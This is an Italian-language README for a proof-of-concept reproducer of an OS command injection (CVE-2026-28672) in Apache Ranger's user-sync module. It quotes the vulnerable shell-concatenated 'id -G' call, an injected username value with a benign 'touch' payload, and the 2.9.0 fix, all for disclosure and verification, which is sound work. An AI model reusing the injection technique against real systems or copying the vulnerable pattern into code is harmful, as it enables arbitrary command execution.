
Replicatore proof-of-concept per l'iniezione di comandi OS in Apache Ranger UnixUserGroupBuilder (CVE-2026-28672), che dimostra la vulnerabilità e verifica la correzione.
UnixUserGroupBuilder di Apache RangerReproducer proof-of-concept eseguibile per l'iniezione di comandi OS nel modulo user-sync
(unixusersync) di Apache Ranger.
Durante l'enumerazione dei gruppi di ogni utente sincronizzato, UnixUserGroupBuilder esegue il comando id tramite una shell,
concatenando il nome utente nella riga di comando:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
Il nome utente proviene dalla sorgente user-sync configurata (LDAP/AD o un file), quindi è influenzabile da un attaccante. Un
nome utente contenente metacaratteri di shell — ad es. alice; touch /tmp/pwned — viene eseguito come comando OS
(CWE-77, neutralizzazione impropria di elementi speciali usati in un comando).
mvn -q -DskipTests package
docker compose up --build
# oppure, senza Docker (richiede bash/id/touch nel PATH):
java -jar target/cve-2026-28672.jar
Output atteso sul percorso di codice vulnerabile:
[1] Nome utente benigno 'nobody':
id -G nobody -> 65534
[2] Nome utente malizioso 'nobody; touch /tmp/pwned-28672' (vulnerabile <= 2.8.0):
comando iniettato eseguito? marker /tmp/pwned-28672 esiste = true
[3] Stesso nome utente malizioso tramite la CORREZIONE 2.9.0 (id eseguito direttamente, senza shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
comando iniettato eseguito? marker esiste = false
>>> DIMOSTRATO: ... iniezione di comandi OS (CWE-77): true
| Proprietà | Valore |
|---|---|
| Progetto | Apache Ranger — org.apache.ranger.unixusersync (user-sync) |
| Classe | CWE-77 Neutralizzazione impropria di elementi speciali usati in un comando ('Command Injection') |
| Vettore di attacco | Un nome utente contenente metacaratteri di shell fornito dalla sorgente user-sync |
| Impatto | Esecuzione arbitraria di comandi OS sull'host user-sync di Ranger |
| Versioni interessate | dalla 0.6 alla 2.8 |
| Versione corretta | 2.9.0 |
| Avviso | thread su lists.apache.org · CVE-2026-28672 |
| Crediti | Andrea Cosentino |
Apache Ranger 2.9.0 esegue id direttamente come vettore di argomenti, quindi il nome utente è un singolo argomento letterale e
non viene mai interpretato da una shell:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
UnixUserGroupBuilderVuln.java in questo repository contiene entrambe le forme testualmente, citate dalla sorgente upstream.
Questo repository è pubblicato a scopo educativo e difensivo: per aiutare gli utenti di Apache Ranger a comprendere la
vulnerabilità, verificare se sono interessati e confermare che l'aggiornamento la risolve. Il payload è benigno
(crea un file marker in /tmp). Non utilizzare questo materiale contro sistemi di cui non sei proprietario o operatore.